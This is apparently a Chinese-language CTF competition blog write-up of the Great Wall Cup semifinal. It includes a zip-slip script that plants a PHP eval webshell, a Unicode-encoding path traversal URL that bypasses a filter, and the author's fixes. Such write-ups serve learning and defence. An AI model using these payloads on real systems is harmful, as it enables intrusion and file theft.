第三届长城杯半决赛(浙江)

非常好杭电,使我大脑旋转。
参赛证

Day -1:恰点好的

food1
food2

AWDP

第一次打AWDP,缺少fix的经验,但做了之后发现难度适中,可能还是check比较惊心动魄hhh。

easy_time

这题做的比较难受,给的题干和名字感觉不知道有什么用。5000端口有个flask,80端口有个PHP 8.2。

其中flask头像fetch存在ssrf;同时有上传插件zip解压功能。PHP部分完整源码如下:
index.php

1
2
3
4
5
<?php

echo "hello ctfer! Do it. No excuses.";

?>

phpinfo.php

1
2
3
4
5
<?php

phpinfo();

?>

date.php

1
2
3
4
<?php
$path = (isset($_GET['path']) && $_GET['path'] !== '') ? $_GET['path'] : 'index.php';
echo filemtime("index.php");
?>

这个easy_time感觉很没有头绪,但是python端的解压zip存在路径穿越,那么break是简单的。

break

插件上传页面提示上传 zip 插件包并安全解压(已做路径校验)。,但实际上并没有做路径校验。直接写马

1
2
3
4
import zipfile

with zipfile.ZipFile("exp.zip", "w") as zf:
zf.writestr("../../../var/www/html/test.php", "test<?php @eval($_GET['a']) ?>")

ls /发现有entrypoint.sh,读一下找到flag位置/tmp/123123123_flag
flag

fix

赛后和void2eye交流,发现break可能只是其中一个预期解。

index.py有很多安全的过滤函数没有用上,稍作修改,并且在处理函数处使用,可以抵御我的payload,但是依然漏洞利用成功。

出题人的预期解应该是和文件修改时间有关,是PHP缓存机制的漏洞。PHP会在/tmp写缓存文件,并且下次会使用这个缓存文件,这可能导致文件包含。并且缓存的文件名是依照特定算法生成的。

这一部分稍后再补,先写wp。

MediaDrive

题目有文件上传,支持设置预览时的编码格式(有”UTF-8”, “GBK”, “BIG5”, “ISO-2022-CN-EXT”)。Cookie是反序列化数据,包含用户名、编码格式和baseUrl。

题目提示用户Cookie、文件预览、路径转换存在漏洞。

1
2
3
4
5
6
7
$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

题目自带了这样的过滤,所以很显然是利用编码绕过,并且进行目录穿越。不过,baseUrl的反序列化貌似无效,很奇怪。

题目在处理传入的文件名时,会把文件名从设置的编码格式转为UTF-8。凭直觉,漏洞肯定在ISO-2022-CN-EXT上。因为其他机制在处理ASCII字符时性状基本一致。而这个ISO-2022这么新,一看就和Unicode脱不了关系。

厨子试了好多种encode方式,发现用Unicode编码就可以绕过。

break

ISO-2022-CN-EXT存在unicode转换漏洞,用unicode绕过:

1
http://10.11.253.13:24592/preview.php?f=.̶̲.̶̲/̶̲.̶̲.̶̲/̶̲.̶̲.̶̲/̶̲.̶̲.̶̲/̶̲f̶̲l̶̲a̶̲g̶̲

f参数转为UTF-8后是../../../../flag
unicode
直接出了,很神奇。
flag

fix

这题修起来比较容易。首先是确保转换后无法穿越:

1
$convertedPath = str_replace(['../', './'], '', $convertedPath);

顺便修一下反序列化(虽然我没利用成功):

1
$user->basePath = "/var/www/html/uploads/";

接着就是看起来会被cookie反序列化覆盖的地方就原来的代码复制几份:

1
2
3
4
5
6
7
$uploadsDir = "/var/www/html/uploads/";

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

fix
嗯,修复成功。

ISW

诶,还是得多打。还剩两小时才想起来有Yakit。前面还在古法nmap🥵

ISW1

IP是10.11.133.83,80端口有一个HTTP Proxy,存在路径穿越,可以任意度,但是没有收获。通过这个入口机可以访问内网192.168.45.0/24,还是没有收获()proxychains忘装了,macOS/Orb都没有。。

read

ISW2

qwq

是Windows,开了135、445、3389,怎么看都像是永恒之蓝啊,结果又是一个metaploit都没有…

开了个列目录,下到了一个RPC服务器,但是不清楚怎么操作。

ISW3

Shiro RememberMe的CVE,结果4个人都没exp。纯手搓payload😭
payload

Yakit有扫描器,能不能给个PoC啊!AwesomePoc也是,倒是给了exp啊!Java Chains得装啊qwq

最后3分钟id出了,赶紧读flag,好在没搞什么阴间花活。
flag

三等奖,诶,真就重在参与了😮‍💨。

9个小时有一点点累,但是学到了非常多东西,特别是最后三分钟出flag,肾上腺素飙升,非常有体验感。(司马软件赛,纯煎熬

A1拿了一等奖,要冲击决赛了。C1明年再战!

cafe

麦麦咖啡拿下全场最佳!

另外想写点经验,以后慢慢补充。

  • 首先是update包,不需要自己pkill,至少长城杯是这样的
  • 关于Flask爱用的5000端口,macOS是被占用的,调试完记得改回去
  • fix的时候别乱改,源码其实信息量很大(AI出的傻逼题除外